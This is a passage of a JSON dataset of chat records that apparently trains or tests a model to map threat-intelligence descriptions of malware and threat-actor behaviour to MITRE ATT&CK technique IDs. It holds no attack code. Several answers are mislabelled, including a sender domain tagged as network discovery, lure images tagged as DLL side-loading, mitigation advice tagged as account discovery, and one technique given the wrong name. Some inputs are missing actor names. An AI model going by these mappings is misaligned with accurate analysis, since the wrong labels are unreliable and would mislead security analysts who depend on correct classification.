                "content": "TeamTNT has the \"curl\" and \"wget\" commands as well as batch scripts to download new tools."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to gather the victim's current directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT collects the username from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POLONIUM has created and used legitimate Microsoft OneDrive accounts for their operations."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LaZagne can obtain credentials from chats, databases, mail, and WiFi."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "surveys a system upon check-in to discover information in the Windows Registry with the reg query command."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig can download remote files onto victims."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has executed wget and curl commands to Pastebin over the HTTPS protocol."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The mericcs.org domain was used as the sender address, as well as the hosting location of the malicious RTF document"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Note that the browser itself is not hooked. Executing the browser from any other Chrome shortcut link will start and run it normally without the malicious extension, canceling out the malware’s ability to control what the victim does"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The 's Information Gathering Tool (IGT) includes PowerShell components."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UBoatRAT can list running processes on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has duplicated the token of a high integrity process to spawn an instance of cmd.exe under an impersonated user."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If a victim meets certain criteria, T9000 uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll. It does this by creating the following Registry keys: \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs – %APPDATA%\\Intel\\ResN32.dll\" and \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\LoadAppInit_DLLs – 0x1\"."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sykipot is known to contain functionality that enables targeting of smart card technologies to proxy authentication for connections to restricted network resources using detected hardware tokens."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indicators  File  Hash  Description  x.js  3fefa55daeb167931975c22df3eca20a  HOMEFRY, a 64-bit Windows password dumper/cracker  mt.exe  40528e368d323db0ac5c3f5e1efe4889  MURKYTOP, a command-line reconnaissance tool   com4.js  a68bf5fce22e7f1d6f999b7a580ae477  AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages   Historical Indicators  File  Hash  Description  green.ddd  3eb6f85ac046a96204096ab65bbd3e7e  AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages  BGij  6e843ef4856336fe3ef4ed27a4c792b1  Beacon, a commercially available backdoor  msresamn.ttf  a9e7539c1ebe857bae6efceefaa9dd16  PHOTO, also reported as Derusbi  1024-aa6a121f98330df2edee6c4391df21ff43a33604  bd9e4c82bf12c4e7a58221fc52fed705  BADFLICK, backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Commands under net user can be used in  to gather information about and manipulate user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "named its tools to masquerade as Windows or Adobe Reader software, such as by using the file name adobecms.exe and the directory CSIDL_APPDATA\\microsoft\\security."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack targeted at least one organization in Saudi Arabia, which aligns with the targeting of the initial Shamoon attacks. It appears the purpose of the new Disttrack samples were solely focused on destruction, as the samples were configured with a non-operational C2 server to report to and were set to begin wiping data exactly on 2016/11/17 20:45. Disttrack uses the internal domain names and credentials to log into remote systems on the same network segment. The dropper then attempts to open the service manager on each remote system to start the RemoteRegistry service, which it will connect to using RegConnectRegistryW. The dropper then checks to see if it has administrator privileges on the remote system by attempting to open \"\\system32\\csrss.exe\", which allows it to determine if it can write its payload to the \"\\system32\" folder on the remote system. Scheduled tasks require a time in which the task will run, which the dropper determines by calling the function NetRemoteTOD to obtain the time of day from the remote system. While completely speculative, the word “shinu” used as a parameter could be a reference to the Arabic slang for the word “what”, as well as a reference to a village name in northwestern Iran. It appears that the “drdisk.sys” driver (SHA256: 4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6) is the exact same driver as used in the Shamoon attack in 2012. During this activity, we noticed the wiper changing the system time to August 2012, as the temporary license key for the RawDisk driver requires the system time to not exceed the month of August, which is when the temporary license would expire. The current attack campaign has several TTP overlaps with the original Shamoon campaign, especially from a targeting and timing perspective"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has lured victims into executing malicious files."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 1 Side-by-side of the lure images within ThreeDollars in the October 2017 and the January 2018 attacks   Superficially, we can immediately see the images are quite similar, but with some glaring differences"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can use com objects identified with `CLSID_ShellLink`(`IShellLink` and `IPersistFile`) and `WScript.Shell`(`RegWrite` method) to enable persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoxCaon can download files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs the following activities:  Builds imports by dynamically loading APIs Decrypts strings needed for control server communications Performs control server communications Handles commands issued by the control server Uninstalls self from the system  The malicious thread dynamically loads the APIs it needs at the beginning of its execution using LoadLibrary() and GetProcAddress()"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  loader implements itself with the name Security Support Provider, a legitimate Windows function. Various  .exe files mimic legitimate file names used by Microsoft, Symantec, Kaspersky, Hewlett-Packard, and VMWare.  also disguised malicious modules using similar filenames as custom network encryption software on victims."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stolen Pencil utilized RDP for direct remote point-and-click access."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky can compress files via RAR while staging data to be exfiltrated."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideCopy has identified the IP address of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors enticed users to click on links in spearphishing emails to download malware."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 used a Trojan called KEYLIME to capture keystrokes from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The executable version of Helminth has a module to log clipboard contents."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used scheduled tasks to execute malicious PowerShell code on remote systems."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Siloscape searches for the Kubernetes config file and other related files using a regular expression."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Axiom has used steganography to hide its C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike has the ability to use an Excel Workbook to execute additional code by enabling Office to trust macros and execute code without user permission."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros."
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used VBS for code execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "accesses network share(s), enables share access to the target device, and copies an executable payload to the target system, and uses a  to execute the malware."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution, the Micropsia malware takes screenshots every 90 seconds by calling to Gdi32.BitBlt API. Screenshots are saved as unencrypted files in JPEG format with a specific file name that contains the current timestamp (yyyy-mm-dd hh-nn-ss) with the hardcoded extension .his"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can scan for open ports on a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used Daniel Bohannon’s Invoke-Obfuscation framework and obfuscated PowerShell scripts. The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Opening document starts a template injection technique for loading the document template from the internet."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has used a customized PlugX variant which could exfiltrate documents from air-gapped networks."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAWKBALL can collect the OS version, architecture information, and computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In January 2016 we published our analysis of a spearphishing attack against energy companies in Ukraine. That attack probably has a connection to the infamous BlackEnergy attacks in 2015 because the attackers used exactly the same mail server to send spearphishing messages. However, the attacks in January 2016 were different. Instead of using the BlackEnergy malware family, the attackers used a relatively simple open-source backdoor, written in the Python programming language, called GCat. The Python code of the GCat backdoor was obfuscated, then converted into a stand-alone executable using the PyInstaller program"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Contacts an IP address / domain that was used to host a malicious document from a Lazarus previous campaign in 2017 - Same author appeared in these recent malicious documents that also appeared back in Lazarus 2017 campaigns - Uses the same malicious document structure and similar job recruitment ads as what we observed in past Lazarus campaigns - The techniques, tactics and procedures align with Lazarus group’s interest in crypto currency theft"
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Protocol or Service Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook can collect information about the drives available on the system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may use WMI when collecting information about a victim."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can use  the `GetForegroundWindow` and `GetWindowText` APIs to discover where the user is typing."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has queried an active directory server to obtain the list of accounts, including administrator accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "prompts users for their credentials."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to avoid raising suspicions from the victim, CSPY Downloader exploits a known UAC bypass technique that uses the SilentCleanup task to execute the binary with elevated privileges"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can enumerate Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VBShower has attempted to complicate forensic analysis by deleting all the files contained in \"%APPDATA%\\..\\Local\\Temporary Internet Files\\Content.Word\" and \"%APPDATA%\\..\\Local Settings\\Temporary Internet Files\\Content.Word\\\"."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Restricting these privileges may prevent malware from running or limit its capability to spread through the network.Carefully consider the risks before granting administrative rights to users on their own machines.Scrub and verify all administrator accounts regularly.Configure Group Policy to restrict all users to only one login session, where possible.Enforce secure network authentication, where possible.Instruct administrators to use non-privileged accounts for standard functions such as web browsing or checking webmail.Segment networks into logical enclaves and restrict host-to-host communication paths"
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Watches uninstall time, checks time diff (local time vs internet time)"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to download the additional modules, the malware uses the BITSAdmin tool, which this group has relied on for some years to avoid detection, since this is an allowlisted tool from the Windows operating system. By the end of September 2019, we started seeing a new version of Guildma malware being distributed that used a new technique for storing downloaded payloads in NTFS Alternate Data Streams in order to conceal their presence in the system"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, this will load and execute the DLL/EXE in to memory without writing any files to disk."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CallMe exfiltrates data to its C2 server over the same protocol as C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Containment provided by enclaving also makes incident cleanup significantly less costly.Configure firewalls to disallow Remote Desktop Protocol (RDP) traffic coming from outside of the network boundary, except for in specific configurations such as when tunneled through a secondary virtual private network (VPN) with lower privileges.Audit existing firewall rules and close all ports that are not explicitly needed for business"
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Calisto installation file is an unsigned DMG image under the guise of Intego’s security solution for Mac"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors leverage legitimate credentials to log into external remote services."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts', 'T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can enumerate shared drives on the domain."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of deleting Registry keys, sub-keys, and values on a victim system."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA can inject into running processes on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM used PowerShell for execution to assist in lateral movement as well as for dumping credentials stored on compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Types of attacks possibly averted include Structured Query Language (SQL) injection, cross-site scripting, and command injection.Use stringent file reputation settings – Tune the file reputation systems of your anti-virus software to the most aggressive setting possible"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
